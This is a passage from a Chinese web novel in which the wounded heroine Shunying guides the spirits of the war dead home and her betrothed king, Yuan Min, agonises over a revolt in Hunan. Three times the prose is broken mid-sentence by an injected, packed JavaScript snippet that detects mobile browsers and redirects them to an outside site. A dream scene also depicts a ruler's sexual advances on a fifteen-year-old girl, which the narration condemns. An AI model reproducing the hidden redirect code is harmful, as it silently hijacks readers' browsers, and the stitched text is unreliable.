舜英浑身是伤、血肉模糊,却身姿挺拔、周身散发着凛然杀气,令他们齐齐震悚、竟不敢再上前半分,不自觉手足并用退去,为他们让开一条路。 许姿试探着喊:“阿英……” 她恍若未闻,走在队首,机械而凌厉地挥动长鞭,领着他们一步一步挤出汹汹人群。 仆从牵过马来,她眼神空洞,直直走着,撞上结实的马身、绕了一下,毫无知觉地继续朝那个方向走去。 就好似,刚才的清醒和魄力,只是一场幻觉。 “别吵了!”她突然发出一声痛呼,双膝跪地,紧紧捂住了耳朵,两行血泪从眼眶涌出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981269|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许姿抱住她轻晃,声音哽咽:“阿英,你倒是说句话啊。” “别晃了,她看不见也听不见”,顾星阑走近,仔细端详,伸出手在她眼前晃了晃,“她已陷入谵妄,方才也只清醒片刻。如今,咱们这个现世的一切,她都感知不到了……” 舜英站起来,拖着血肉模糊、伤口深可见骨的双脚,缓慢而坚决地走向一个方向,嘴里不断喃喃。 “不,是亲人……” “复仇已完……” “战争结束了……” 她的声音先是尖锐凶狠,而后变得平和,逐渐轻如呓语。 走动的身影有些踉跄,偶尔会按住心口蹲下、剧烈抽搐,像是无数刀剑在她心口剜搅,但缓和片刻后,她又会起身,尽量平稳地继续走下去。 忽然晃了晃,如秋风中的枯叶般倒下。 紧跟其后的许姿忙上前扶住,顾星阑盯着她枯槁的双唇、灰败的脸色,摇了摇头。 “带她回去吧,找个客栈藏起来。” “各位内卫大人,请设法向玉统领传信,请他们速回燮陵。” “褚少卿身体并无大碍。” “她只是,连续奔走好几日,水米不进,饿晕了。” . 斜阳从窗棂照入,铺在枕边,暖熏熏的,一呼一吸全是素馨花的幽香。 元旻翻过身,看到她一头黑发披在枕上,长长的睫毛在眼底投下阴影,安详又沉静。 许是被他翻身惊动,沉睡的人慢慢睁开眼,微风吹动白色的寝衣,她有些颤栗。 元旻拉过被子替她盖好,忍不住揉了揉她黑亮的头发,伸头过去在她颊边轻轻一啄。 她转过身来,双颊轻红、含笑凝睇,静静看着他。 二人就这样,同枕而卧,面对面地相视微笑,静谧美好得像一幅画。 暖黄的夕阳晃了晃,画面开始变化,丝丝缕缕的黑气从她胸口溢出,遮住了他们对视的目光。 黑雾越来越浓,纷乱缭绕中,她的样貌开始变化,脸上布满淤青和伤口,嘴唇破碎、渗出血来。 她伸出手,温柔地抚了抚他的脸颊,眼里满是温情。 她张嘴说了两个字,他却听不清。 他惊恐地发现,她的手掌已被磨得血肉模糊,可见森森白骨。 她站起身来,乌发拖着湿淋淋、黏腻腻的血污,宽大的白色寝衣上,洇出一道又一道红色的血痕。 她仿佛不知痛楚,就那样一步一步地,拖着血肉模糊的脚掌,向外走去。 元旻如坠冰窟,起身飞奔着追出去,却怎么都追不上,只能亦步亦趋跟在背后。 越来越多的黑气聚在她身边,绕着她喃喃呓语,间杂着尖锐的叫嚣、阴恻恻的笑和无助呜咽。 愤怒的叫嚣刺破耳膜:“是仇人!” 舜英的声音轻柔而坚定:“不,是亲人!” 黑气纷纷尖啸:“杀了他!” “向翊民复仇!” 她轻声道:“不。” “战争已经结束了。” “不要让更多人死去。” 尖啸不绝于耳,她也不断耐心劝说,声音温柔、低哑而柔韧。 舜英一边劝着,一边向前走着,元旻也跟了一路。 北边天空静静悬着一轮圆月,门外是一望无际的原野,走了不知多久,出门时还是殷红如滴,此刻已只有层淡淡的血色,像飘渺的雾。 圆月下矗立着一座高楼,上半截已断裂,残留着焦黑的烧灼痕迹,石阶长满了青苔,大门上朱漆斑驳,盘踞着错综复杂的树根。 歪斜的匾额上,依稀可见名称——龙兴楼。 60. 祸国妖妃 舜英踩着石阶厚厚的青苔,拾级而上。 元旻失声惊呼:“阿英,回来!” 舜英恍若未闻,径直推开大门,走向黑洞洞的门内,元旻赶紧跟了上去。 腐朽的空气,沉积着另一个时空的尘埃和灰烬,衰朽的楼梯吱呀作响,像是来自岁月另一端的问候。 尖啸声逐渐变小,取而代之的是混沌模糊的呓语—— “好饿……” “好累……” “好想回家………” 舜英回以更温柔、包容的宽慰:“来,我带你们回家。” 混乱的黑气逐渐汇成一股,温顺黏附在她身上,从她胸口后背延伸出来,拖成长长一道尾迹,遮住了她的背影。 楼梯终于到头,舜英站在断楼的最高一层,天风猎猎,吹得她那身沾满血痕、宽大的白袍哗啦作响。 呓语开始悲泣:“好远……风吹日晒……我们回不去了……” 舜英笑容更盛,慢慢走到高楼边缘站定,对着下方望不到头的平原,张开双臂。 元旻意识到了她要做什么,心砰砰直跳,想冲过去把她拉回来,无论怎样跑,最后那一段距离却始终跑不到。 元旻崩溃大哭:“不——” 平原上,丝丝缕缕的黑雾从地底逸出,飘向龙兴楼,飘向张开双臂的她,钻进她的心口。 她紧蹙眉头,按住胸口,颤栗着弯腰、蹲下身,无数死者临终的痛楚令她剧烈抽搐。抽搐了片刻,又缓缓起身、站直,对着圆月、夜空、无垠原野,一字一字起誓,轻柔而决然。 “以我之身,引怨渡恨,忘仇却忧,各归土尘。” 十万怨灵齐齐恸哭。 那些已钻进她心口的黑气再度逸出,暴戾躁动已消散不少,自发排在她身后,拖成更长的尾迹。 她带着那些黑气,缓缓走下楼去。 走过他身边时,她唇角忽绽出一丝微笑,眼神缱绻与他对视片刻,张了张嘴。 这一次,他听清了那两个字——“再见”。 她逆着月亮的方向,一步一个脚印,走向南方,远得再也看不见。 “回来!”元旻声嘶力竭地呼喊,从床上坐起来,睁开双眼。 夜幕已降,勤政殿只有他一个人,偌大的寝殿空荡荡的,飘散着沉水香的气息。 他神思恍惚,摸了摸脸颊,全是泪水。 披衣走出去,走进小书房,拉开书案下左边的暗格,逐一拆开五封桃花笺,摩挲着已开始模糊的字迹。 铺陈纸笔,另展开一张空白信笺,写下数行字后,拉开右边暗格。那里整整齐齐放着一摞信函,已有二十多封。 “阿英,这些话不堪说,你何时才能回来,将它们一封一封拆开看?” 心口一阵突如其来的绞痛,元旻置之不理,将新写的花笺封进信函,放入右边暗格。 洒金笺墨迹初干,两行字无声凝固在不见天日的暗格中: 别后不知君远近,触目凄凉多少闷。渐行渐远渐无书,水阔鱼沉何处问。 夜深风竹敲秋韵,万叶千声皆是恨。故攲单枕梦中寻,梦又不成灯又烬。 门外传来一阵细碎的脚步,紧接着是天枢急促的声音:“陛下,滬南道飞报!” . “以我之身,引怨渡恨,忘仇却忧,各归土尘。” 燮陵城北,断了半截的龙兴楼上,舜英迎着夜风展开双臂,眼神仍是涣散的,眉宇和神色却已变得沉静而平和。 郑锦珠、玉衡、天璇天玑四人站在她身后,神色紧张而期待。 终于,郑锦珠长舒了一口气:“阿英真是出息,这么多凶煞的怨气都承受住了。” 又说:“她已安抚了接收的怨气,最危险的时候过去了。” 玉衡眼里泛着泪花:“不愧是首领,终于挺过来了。” 天璇和天玑跑过来,一人一边挽住郑锦珠,喜极而泣:“娘娘,现在能否告诉我们,首领这是怎么了?” 郑锦珠酝酿了半晌,苦笑着开口:“说来忏愧,这极凶极煞的驭魂秘术,就是起源于滬南。已被禁了多年,不知什么时候又被人使了出来。” “第一步,要大量的死人,还要那种横死的、怨念极强的。至于数量,视被种术者而定,像那种娇弱妇孺,一两个就足够;国君有王者之气护体,武将有罡气护体,需要的数量就很多了……” “第二步,引导那些怨气,自发进入一个载体,像这种战死的,一般是附着于刀兵。” “第三步,也是最重要的一步,需要被施术人的至亲,比如父母的血、头发、指甲、牙齿……” 天玑打了个寒噤:“听着虽然阴损,却并不难,拿来祸害人岂非很方便?” “有谁那么傻”,郑锦珠摇头:“正因有这邪术,滬南这一片,每个人掉的头发、指甲、牙齿甚至月事带,都是珍敛密藏的。” 天璇蹙眉,疑惑道:“可首领是孤儿,要是有父母在世,不至于养在太后娘娘身边。” 郑锦珠沉吟道:“娘娘曾说过,褚侯是在征战滬南时,跟一位郑姓王室子弟好上了,珠胎暗结。” 天玑追问:“后来呢?” 郑锦珠叹了口气:“后来,褚侯不愿叛国,害死了那位王室子弟,然后自杀了。” 玉衡打了个寒颤:“女人……好狠!” 天璇白了他一眼,拉回跑偏的话题:“这和驭魂邪术有何干系?” 郑锦珠无奈道,“有关系的,人都死了,哪来的那些东西。” “坟茔”,玉衡脱口而出,转瞬又否决掉,“滬南这边很重收葬,平头百姓的墓穴都夯得死紧,拿镐头都砸不开,若真是滬南的贵人,怎会曝尸荒野?” “玉衡说的,倒也有可能。哎——什么贵人,国破家亡,再金贵也只是马蹄下一抔血泥”,眼看舜英已转身下楼,郑锦珠苦笑着跟了上去,“龙兴楼啊,燮陵第一名楼,都被幽妃一把火烧了。” 玉衡紧张了半宿,此时一松懈,好奇之心顿起,追过去问:“娘娘,咱们一路听他们说幽妃,说得有声有色,要不同咱们说道说道?” 天璇扯了他一把:“你怎么回事,张口就要娘娘讲自己家族的秘事?” 郑锦珠舒展眉心,温声道:“说来说去也就那点丑事,莫说滬南,整个大翊都晓得,还传得千奇百怪。说说也无妨,你们听了可就不准瞎传了。” . 幽妃的正经封号是云妃,只因红颜祸水、祸国殃民,世人深恨之,称之为“幽妃”。 违礼乱常曰幽,淫德灭国曰幽。 郑尧嘉多情,在位短短七年,有封号的后妃多达二十余人,皆是艳质蕙心,得他轮流召幸。翊兵攻破燮陵的前一天,他还在临仙阁沉溺歌舞、左拥右抱。 郑尧嘉为太子时,最宠出身高门的龙、孔二嫔,即位之后,得遇孔贵嫔宫中一貌美侍婢,为之目醉神迷。召幸她之后,更是如胶似漆,竟将六宫粉黛都看得失了颜色。 那侍婢出身寒微,姓氏不详,因姓名中有个“云”字,被封为云妃。 “我那时还不到十岁,随父亲去临光殿拜见堂兄——就是后世说的滬怀王。堂兄在临仙阁,我们只好从临光殿走复道过去。” “途径结云阁,偶遇云妃临轩独坐,惊鸿一瞥,确是个绝色美人……像笼着一层雾,看不清她具体容颜,只有那份独特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981270|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气韵,至今难忘。” “怎么说呢,清冷如月宫仙子,可她一笑就冰消雪融,周围一切都好像变得旖旎了。” 天玑了然点头:“都说男子心中都住着两个女人,一个圣洁的仙子,一个狐媚的妖精。云妃兼具这两种气韵,受宠也在情理之中。” 郑锦珠道:“云妃那时,是专房之宠,所以大臣纷纷上书,说她狐媚惑主。” “国君专情一人的事,并不少见”,玉衡诧异,“比如昭……咱们王上就只喜欢首领,到了滬南,怎就被骂成那样?” 天璇凉凉道:“咱们王上也没二十多个妃嫔。” 郑锦珠滞了一滞,艰涩道:“怀王还将朝政与她共决之。” 玉衡更诧异:“这有何不妥,王后为小君,本就要与王上共决朝政。” “你到底是不是滬南人”,天璇默了一默:“那是翊国,滬国那般轻贱女子,谁会教女儿仕途经济。跟一个不通政务的女子共决朝政,自然不妥。” “姑娘见事极明”,郑锦珠赞许地看着天璇,笑容有些苦涩,“我年幼时,父亲教我四书五经,叔伯们都说他有病,教女儿那么多仕途经济作甚,还不是要嫁人?” “在滬国,女子无才便是德,贤惠、貌美、少言、擅女工,在家从父、出嫁从夫、夫死从子,才是最上等的闺秀。” “我算是贵女中最不端淑的,一直颇受鄙夷,就连娘亲也很厌恶我。” “可是,说来讽刺啊……国破之后,先王要从宗室选妃,却略过那么多三从四德的贵女,选了个最无德的我。” 天玑拍手称快:“先王和咱们陛下,都喜欢聪明有见识的女子。” 郑锦珠悠悠道:“当时觉着痛快,后来想想,也没甚值得称道的。” 玉衡不解,想了半晌又问:“专宠、干政……史书上也是不少的,为何说起别的干政女子都又恨又怕,说起她却都津津乐道?” “因为她还……”郑锦珠变了脸色,双颊晕出些红,恼怒着走开,“你个毛头小子,问这么多作甚?” 玉衡还要问,被天玑一把薅回,低声说:“娘娘端庄,这种事怎么好说,你还追着问?” 玉衡诧异:“两位姐姐都知道?” “咱们的玉统领也有犯傻的时候”,天玑咬唇轻笑,“毕竟还小,这些事见得少。” “耽荒为长夜之饮,嬖宠同艳妻之孽,除了这些荒唐事,还能有什么?私通、秽乱宫闱呗。” 天璇摇头:“郑后主还真是心大……” “别说了”,玉衡刚满十七,乍一听这些刺激事,双颊通红、岔开话题,“对了,首领跑哪儿去了?” 天璇忍俊不禁:“看着呢,一直在楼下林子里……咦?她在做什么?” 天玑和玉衡放眼一瞅,也慌了,三人一溜烟跑向楼下。 黑黢黢的榕树林里,枝干垂下无数细长根须,树下积了厚厚一层落叶,踩上去松松软软、盖过脚背,落叶下树根密密匝匝虬结、连成一片。 舜英眼神涣散,蹲在地上,徒手扒开层层落叶,刨开腐臭的泥土,刚包好的手全是泥,棉布上渗着斑斑血迹。 刨了不知多久,露出一截干枯的骸骨,灰白的腕骨上,系着一圈已朽烂、看不出原色的丝绳,丝绳末端编成一只平安结。 二十四年前,郑载文联合郭、孔,在此地诛杀逆王郑载武及其部属,死伤无数。却不知这无名尸骨,是哪一方? 君埋泉下泥销骨,为他系上平安结的那个人,是否还在人世?若活着,也是霜雪满头了吧。 “好,我带你回去,看她。”舜英小心翼翼解开腕骨上的络子,和着血泥捧起来,往林子外走去。 61. 烟消云散 万景万物,在她眼里分作两个世界。 时时看见、听见的这个世界,是幽暗的天光、高悬天际的红色圆月,遍地尸骸,以及尸骸上逸出的黑气。 那些黑气在风中呜咽盘旋,说着她从未听过的语言,音节模糊,她却懂他们的意思。 有的是满腔恨意的战死者,被她一遍遍劝慰,战争已结束了,直至那隔了几十年的怨念消磨殆尽。 有的是被婆家沉入水塘、砌进土墙、打死了埋到院中的小娘子,她就去解开篾笼、砸烂土墙、刨开庭院,将那些骸骨起出来,换个温暖的地方好生安葬。 有的是弃婴塔里、河边、道路下、粪坑里,刚出生就被饿死、冻死、溺死、肢解的女婴。她就把那些小身躯挖出来凑齐整,找块水淹不着、阳光充足的地方,买来漂亮的裙子给她们穿上,用草席卷起来,再放几块糖果,轻轻盖上土。 有的是被官员戕害,满腔恨意。她要么告诉他们那些人已经死了,指给个坟茔方位;要么就拿出随身的册子记下来,打算回去后找御史台彻查…… 更多的,还是那些爱恨都已消泯,只撑着最后一口气,想回家乡去看看亲人和爱人。 这些黑气从她的心脏长出来,穿过后背,在她身后拖出长长的、望不到头的尾迹,每走一步都牵扯心脏,一抽一抽地疼,使她走得格外吃力。 另一个世界,是日月交替、昼夜分明的。那个世界里,她一直在烈阳下行走、在入夜时投宿歇息,身边也一直跟着几个人。 为首的那两个女孩子,声音真好听,长得又干净又漂亮,心地还很善良。 会在她挖不动的时候,拿给她小铲子,帮她刨土;会在她起出骸骨和遗物时,帮她捡起来、帮她收好;会在她与人争执的时候帮她打架;会在她闯了祸时替她赔钱道歉。 会给她水喝、给她食物;会帮她沐浴、在伤口处抹药;会给她找好住处,睡干净柔软的大床,还会躺在床上陪她说话、哄她入睡。 她们在茫茫无垠的原野上,走了不知多久。 每经行一处,就有些黑气从她身后逸出,盘旋几圈、淡去、消散于天地之间。 她耳边的呓语、呜咽一天天减少,从心口拖出的黑气也慢慢轻了,走起来不再那样艰难。 两个世界占据的视野大小也在变化,永夜画面的变小,昼夜分明的画面变多。 那是一个阴雨绵绵的下午,她们一步一滑、趟过泥泞的山路,敲响了半山腰一扇破烂的柴扉。 “一位樊恩将军托梦给我,让我来沵州奎县,到沵安山的寿云峰,找一位阿芜姑娘。” 她伸出手去,伤痕累累的掌心,躺着一枚已看不出原状的平安扣。 应门的中年妇人,鬓发斑白、容颜枯槁,捧着那枚腐朽的平安扣泣不成声。 那妇人哭了一阵,才抬起朦胧泪眼,双膝下跪,颤声道:“老妇叫沈芜,樊恩正是我那失踪二十五年的未婚夫,敢问三位恩人高姓大名?” 她听见自己说:“小女褚舜英,身后的两位是我的朋友,叫天璇和天玑。” 原来,她叫褚舜英,身后的是天璇和天玑。 这里是滬南道沵州,她从昇阳来,有师父、有养母、有至交好友,有姨母和家族。 临睡前,她在头痛中隐隐想起,自己还有婚约在身,未婚夫是大翊不容冒犯的王,还在昇阳那座围墙重重的王宫、等她回去。 . 树林里、山洞里氤氲起素白的雾霭,浮在半山腰,像被撕散了、团团簇簇的棉絮。 层峦叠嶂间,绿树郁郁葱葱,舒展着水汪汪的碧色。入夜后秋雨转急,穿梭在枝叶间、屋檐后,淅淅簌簌穿梭交织,似无数莹白剔透的丝。 在沈芜的挽留下,舜英和天璇天玑吃过晚饭,留在山中休整一夜。 沈芜还想让出唯一的卧房给她们休息,三人忙拒绝。又见屋后柴房还算洁净干爽,于是在地上铺了厚厚的稻草,盖着沈芜家中唯一闲置的那床棉被。 舜英居中,天璇天玑分卧两边,三女挨挨挤挤躺着。舜英一沾枕就睡着了,天璇天玑疲累极了,却怎么都睡不着。 此时,距舜英在龙兴楼振臂一呼、允诺引渡十万怨气,已过去大半月。 玉衡原本也想跟来,却被更重要的事情绊住了手脚。 燮陵城南郊的血案引发了骚乱,那个棚区收容的一万多灾民,当天就抬着尸体,守在燮陵城门外要讨公道。顾星阑无可奈何,将许姿和当时在场的官兵各鞭笞二十下,以儆效尤。 第二天夜里,顾星阑在回官邸的路上遇刺,得隐蝠卫拼死守护,安然无恙。 玉衡再不敢大意,除了吃喝拉撒、几乎寸步不离守着顾星阑,就连夜里都在顾星阑卧房打地铺。 天璇幽幽叹了口气:“朔北战事胶着,萝州又闹起来,首领你说,陛下这样一天天的累不累。” 等了半晌没听见回应,舜英不知何时已睡着。 “他累不累我不晓得”,天玑挑了挑眉,眼神斜睨躺在她们身边的舜英,笑嘻嘻地说,“只晓得,他肯定会嫉妒我们。” 这一路上,都是天玑在替舜英沐浴擦药。 天玑一向是荤素不忌的,舜英在别处都聪慧,唯独对风月之事迟钝,除了元旻和苻洵这种直截了当的,她似乎从未想过其他人可能也对她怀有绮念。 油灯昏黄的光下,舜英安然酣眠,脸颊清减不少,却多了些楚楚可怜的韵味。 天玑蹑手蹑脚抱住她,忽然笑了,伸手轻轻抚过她的睡颜。 天璇瞠目结舌:“你做甚?” 天玑挤眉弄眼,看着天璇嗤嗤低笑:“你猜?” 纤纤玉指滑过舜英下颌、勾住她领口,往外一挑。 “栎东白水落水那会儿,我就惦记上了,可她一直避讳很严,后来又有了王上。如今就算做不了什么,亲一亲抱一抱,也算是圆满了。” 天璇瞪了她一眼,低声道:“你就淘气吧,她要是被弄醒了怎么看你,跑了这么些天,好容易清醒了。瞧瞧,玉佩都被你带出来了。” 拿起搁在舜英胸口、尚自温热的玉佩,仔细一看,是一块成色中等的岫玉,精雕细琢成首尾相连、亲亲热热的两条鱼。 天玑玩心未收,手顺着中衣的纹路一路下滑,笑吟吟道:“姐姐你看她,脸好红啊,该不会在做绮梦吧?” 天璇没好气地扯开她的手:“教王上知晓,剁了你的爪子!这块玉佩,首领一直贴身带着,必定很重要,还是给她放回去。” 想了想,咬咬牙,挑开舜英中衣的衣领,将玉佩塞进去,贴在她心口放着。 . ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981271|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细腻温润的玉佩被一只手轻按着,紧贴着肌肤游移,玉佩下的莹白肌肤吹弹可破,透出丝丝馥郁。 头顶响起男人的呢喃:“阿云……” “陛下……” 身体触上紫檀木桌面的瞬间,舜英看清了周围景致——好豪奢的屋子。 槅门、窗牖都是用沉香木雕成,门口垂着水晶帘,满屋子金玉珠翠的摆件,室内陈设着描金沉香木博古架、紫檀木嵌螺钿圆桌、玉钩云纹宫灯,一架紫檀木雕海棠刺绣屏风挡住床榻,隐隐可见轻罗软烟的帐幔。 她变成了玉佩,被扔在那张圆桌上。 桌旁坐着个青年男子,皮肤白皙、眉眼堪称秀美,身材纤瘦,散发着浓浓的书卷气,像是个翩翩君子。 他正在做的那事,却一点都不君子。 他正将一名少女放在膝上,左手揽住少女纤腰,右手在她身上摩挲。 那少女背对桌子,从背影看很是妙曼,宫装的上衣已被扯开半边,香肩半漏。男子右手已伸进少女中衣,声音带着些微喘息。 “阿云,你对朕也是有意的,是不是?” 右手从胸口退出,掀开少女下裳,呼吸越来越乱:“阿云,成全我吧……” 那少女一言不发,却已隐隐可闻呼吸乱了。 舜英想闭上双眼、捂住双耳,却发现自己只是块玉佩,没有眼睛也没有手,只能被迫观看这乱七八糟乌烟瘴气。 瞎了她狗眼,这样的幻境,能是哪个将死之人的执念? 青年男子见女子未反抗,更加情难自抑。 少女终于出声,娇怯怯地:“不要……奴婢不能对不起孔娘娘。” 青年男子低笑,贴近她一边脸颊,喷着灼热湿润的呼气,低声耳语:“蕙兰说,朕遇见你太早了。” 见少女不解,又说:“你年岁太小,还承受不住朕的宠幸……” “阿云,朕再等你一年罢,明年你就十六了。” 舜英想戳聋自己双耳,才十六就……什么禽兽?! 门外传来另一个女声,甚是柔媚:“怜云太小,今晚还是由臣妾伺候陛下吧。” 紧跟着,舜英感觉自己被提了起来,挂在腰边,随少女往外走动,轻声晃动。 听起来……这一幕香艳可以结束了,她松了口气。 一口气还未松完,那柔媚的女声再次响起:“怜云,你还是回来罢,陛下说让你在旁边伺候。反正你明年就得侍寝了,不如先学学。” 舜英眼前一黑,险些晕过去,这都是些什么烂人?! 无声哀嚎着,舜英又被少女挂着往里走,绕过屏风,走到最里面的紫玉珊瑚床前。 少女解开腰带,玉佩也随之掉落。紧跟着,上衫、下裳、亵衣亵裤、抹胸一一滑落,委顿于地,覆盖在玉佩上。 终于不用看了,虽然……还听得见。 头顶的声音还越来越响,魔音贯脑绕梁三日。 舜英听得头昏脑胀、印堂针扎似的疼起来,某一幕在回忆里翻涌,令她四肢百骸又开始疼得像要爆开。她胃里止不住翻涌,想咆哮想尖叫,想把自己身上每块皮肉割下来丢掉。 她又自厌又自鄙,有那么一瞬,甚至恨不得把自己脑袋拧下来。 可自己只是块玉佩,什么都做不了。 62. 因果不空 新月从桂枝间挤出斑驳素影,将草叶间的秋露映得更白,墨绿的桂叶渗出阵阵馥郁。 “羊羔酒,烫好了再饮,暖胃养生”,对坐的少女笑盈盈的,挽袖替他斟满杯,又给他夹了一筷鹿脯,“入秋要多吃些,贴贴秋膘。” 他握住她冰凉的手,包在自己掌心:“手那么凉,怎不多穿几件?” 少女含笑睨了他一眼,柔声道:“待会儿回屋就不冷了,中秋还未到,你怎么非跑院子里看月亮、还喝什么闷酒?” “有你在,怎么算闷酒”,他注视着那双秋水眸,痴痴笑了,“前段时间接了线报,我没马上发兵滬南来救你,对你不住。” 她笑着摇了摇头:“早就知道你不会,算了……回来看看你……” 他后脊发寒,打了个哆嗦:“你还要走么?” 她点了点头,起身,想抽出被他握在掌心的手。 他慌了,急得掉泪,死死抓住那双手,哀声请求:“别走……我等了你好久,别走……我错了……阿英。” “你没有错”,舜英的笑容淡淡的,声音极轻极柔,却很坚决地、一点点抽出手,“你是国君,有太多身不由己。” “不要喝闷酒,好生保重。” “等我回来。” “阿旻……” 元旻眼睁睁看她转身,忍不住扑过去,想紧紧抱住她。 扑了个空,怀抱里只剩虚无。 “阿英!”元旻呼喊着醒来,石桌上有坛羊羔酒,已喝了大半。他昨夜宿醉,趴在庭中石桌上睡了一觉。 宦官和宫人都侍立在院门外,无人敢进来触他霉头。 天已蒙蒙亮,院里空荡荡的,唯有桂叶簌簌、秋露莹白。 元旻恍惚着站起身,茫然四顾、怅然若失。 衣袍在风中飒飒作响,传信的宦官从远处一路飞奔而来:“陛下,陛下,滬南道急报!” “赈灾粮又丢了!” . 元旻坐在书案前,看不出任何情绪。 宿醉被惊醒,又灌了几碗醒酒汤,此刻,他的脑袋疼得像被锥子扎。 云飞燕叹了口气:“这都第二批了。” 元璟眉心拧成了川字:“第一批五百车,走陆路,从维阳走西津渡,从阊江转燮陵,结果出阊江没多远,到宛陵就失踪了……” “第二批送了一万石,由水师押运,过了浔阴,到扬澜湖后失了踪迹,船都找不到了。” 大汛正值夏末,早稻灌浆之际,大水一淹半年收成作废。萝州算是富庶,家家户户本来有些余粮,受潮后纷纷长芽或霉变了。 返回故乡的人抓紧时机种上的晚稻,至少需三个月才能收割。 滬南各府库经一个多月的赈灾,已然空得一粒米都刮不出来了。为了不使萝州饿殍遍野,剩余的赈灾粮,自然需要朝廷补给。 元旻平静地点点头,笑容凉飕飕的:“挺好……丢了挺好,不必再送了。” 卢照仪大惊失色:“陛下不可,那可是三百万人命啊。” 元旻冷笑:“依朕看来,他们精神好得很,还刺杀钦差,堵城门……一时半会饿不死。” 卢照仪痛心疾首:“那些都是逆贼处心积虑找来的托啊,总共加起来不超过三万人。陛下明鉴,岂能因三万人而置三百万人于不顾?” 元旻微笑不减,将邸报从书案上拿起再放下、反复抛了几次,上齿抵住下唇正要说什么。 “陛下,整兵备战吧”,元璟突然从座位站起,抢着说,“滬南道形势危急,已不得不做好发兵的准备了。” 元旻收敛笑容,点头赞许:“可行。十天内关闭维阳、宜邑两座屿城,从长济渠调七千水师到长流川,集结两万水师。留五千戒严江面、两边策应,其余一万五分兵两路,八千去浔阴,七千去宜邑。” “从江城到维阳,长流川北岸各城,半个月内戒严。” 只是备战,而非发兵。 元璟与卢照仪对视一眼,擦了把冷汗,松了口气。 云飞燕迟疑了半晌,还是起身,弱弱地奏请:“陛下,还有一事……大灾之后的大疫……” 话一出口她就后悔了。 果然,卢照仪和元璟头埋得更低,只敢拿眼角余光偷偷瞄他。 书房里一片死寂,空气都凝固了。 元旻冷眼注视着她良久,脸色松动了些,和颜悦色地问她:“敢问云爱卿,根据许爱卿传回书信计算,滬南养得起多少兵马?” 云飞燕稍加思索计算,肯定地说:“若全是步兵,有战力的精兵不会超过五万,如果有水师还更少些;朝廷滬南四州,每州驻官兵五千。” 元旻点点头:“自征和二十年大撤军,朝廷对偌大滬南进驻的官军,就只有这么些…四州长官都是前朝高门,所以这两万人也不能用。” “若真打起来,朝廷胜算几何?” 云飞燕毫不迟疑:“必胜!” 元旻笑容更盛:“所以,云爱卿以为,为何时至今日,朕依然按兵不动?” 为何,自然是四州近两千万百姓。 云飞燕会意,忙恭声请罪。 元旻却毫不在意,脸色已温和如旧,开始命中书令拟旨,仿佛上书房内一直就这样其乐融融。 压在三名臣子心中的重压,终于松了松,云飞燕和卢照仪忙请安告退。 元璟看着那两人走出去,忙上前扶住摇摇欲坠的元旻:“陛下怎么喝这么多?” “事到如今,除了喝喝闷酒,好像也没别的可以做了”,元旻笑容苦涩,眼眶泛红,嘲讽道,“这国君当得有什么意思?女人和兄弟陷在那几个月了,打也不能打,杀也不能杀,还要给他们送粮送药……真是窝囊。” 元璟见布局已定,知道他不过说些难听话发泄,于是沉默了半晌后说:“陛下若是需要,臣陪着继续喝。” . 七月二十四,元旻同时收到顾星阑的邸报,以及玉衡的密信飞报。 灾民骚乱,巡按使遇刺,还有—— 舜英在中元夜出走,五天后出现在燮陵城外时,已深陷谵妄、执意南下…… 玉衡尽量轻描淡写,可她那样坚韧的心性,都精神失常了,受了多少罪可想而知。 他当时就红了眼,带上虎符,一声不吭策马冲向太尉府。 还未出宫门,元璟和卢照仪领着三五十名官员在门口跪成几排,很光棍地说:“陛下要去太尉府调兵,就先从众臣的尸身上踩过去。” 顾星阑那个老油条,给他发邸报的同时,原模原样地、先给元璟和卢照仪各发了一份。 他当然不能从忠臣的尸身上踩过去,只能勒住缰绳,在宫门下与他们静静对峙。 煎熬四个时辰,他进退不得,几近疯癫。 幸好此时,一声唿哨在远方响起,从柘枝城归来的开阳,飞驰而至。 元旻当然知道,发兵意味着什么。 十九年前发兵灭国一次,是滬国屡屡犯境为自己招来的灾殃; 九年前,龙川湖暴乱后的血洗,平民和基层官员里抱有复国执念的人已被清除; 如今,广大滬南百姓都已归顺大翊,只有一小撮往日的滬国权贵在兴风作浪。本可徐徐图之,若贸然发兵,祸延全境,伤的是大翊国民。 如果新账旧账一起算,这是第三遍屠杀。 君之视民如犬马,则民视君如国人;君之视臣如土芥,则民视君如寇仇。 如此乱世,若百姓视君如寇仇,到最后,除非屠尽滬南两千万人,得一片鬼域。否则,滬南与长流川以北的国仇家恨再难揭过。 . “朕要 